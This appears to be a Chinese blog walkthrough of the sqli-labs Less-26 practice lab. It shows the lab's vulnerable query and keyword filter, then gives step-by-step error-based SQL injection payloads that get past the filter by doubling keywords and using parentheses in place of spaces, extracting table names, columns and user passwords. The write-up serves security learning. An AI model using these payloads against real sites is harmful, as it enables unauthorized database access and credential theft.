当前位置: 首页 > news >正文

sqli-labs:Less-26关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡对许多字符都进行过滤,尤其是空格。我们需要对字符进行替换,同时采用报错盲注(空格相对少),替换规则如下。

  • oroorr
  • andaandnd
  • 空格()包裹
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		 //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); 	 //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);	 //strip out /*$id= preg_replace('/[--]/',"", $id);		 //Strip out --$id= preg_replace('/[#]/',"", $id);		 //Strip out #$id= preg_replace('/[\s]/',"", $id);		 //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);	 //Strip out slashesreturn $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-26/,从?id=开始,只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面,方便对比。

2.1. 获取基本信息⚡

注意and,需要修改为aandnd

1' and updatexml(1,concat(1,database()),3) and '1
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1

在这里插入图片描述


2.2. 获取表名⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1

在这里插入图片描述


2.3. 获取字段⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1

在这里插入图片描述


2.4. 获取数据⚡

注意and,需要修改为aandnd,由于updatexml有字符长度限制,所以对username进行了分批
同理获取possword,注意password中的or,需要修改为passwoord

1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1

在这里插入图片描述


2.5. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡代码对许多字符进行过滤来防止SQL注入,但攻击者仍可通过双写(如oorraandnd)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331

相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/312367.html

相关文章:

  • 【数据迁移】Windows11 下将 Ubuntu 从 C 盘迁移到 D 盘
  • Spring Boot 的事务注解 @Transactional 失效的几种情况
  • MCU中的复位生成器(Reset Generator)是什么?
  • 智能手表项目:原理图
  • kotlin kmp 跨平台环境使用sqldelight
  • Shell脚本-变量如何定义
  • webrtc弱网-QualityScaler 源码分析与算法原理
  • npm ERR! code CERT_HAS_EXPIRED:解决证书过期问题
  • `npm error code CERT_HAS_EXPIRED‘ 问题
  • Azure DevOps — Kubernetes 上的自托管代理 — 第3部分
  • JVM-垃圾回收器与内存分配策略详解
  • Node.js 服务可以实现哪些功能
  • 【python实用小脚本-169】『Python』所见即所得 Markdown 编辑器:写完即出网页预览——告别“写完→保存→刷新”三连
  • 深度学习周报(7.28~8.3)
  • 【机器学习③】 | CNN篇
  • 分享链接实现状态共享
  • 嵌入式相关书籍
  • Javaweb————Windows11系统和idea2023旗舰版手动配置Tomcat9全流程解析
  • FreeRTOS源码分析三:列表数据结构
  • MCP革命:Anthropic如何重新定义AI与外部世界的连接标准
  • Linux系统编程Day4-- Linux常用工具(yum与vim)
  • io_setup系统调用及示例
  • Odoo OWL前端框架全面学习指南 (后端开发者视角)
  • 【LeetCode 热题 100】84. 柱状图中最大的矩形——(解法一)单调栈+三次遍历
  • Flink程序关键一步:触发环境执行
  • 机器翻译入门:定义、发展简史与核心价值
  • 云轴科技ZStack AI翻译平台建设实践-聚焦中英
  • 华为智能家居与Spring人工智能
  • 【游戏比赛demo灵感】Scenario No.9(又名:World Agent)
  • 【PDF + ZIP 合并器:把ZIP文件打包至PDF文件中】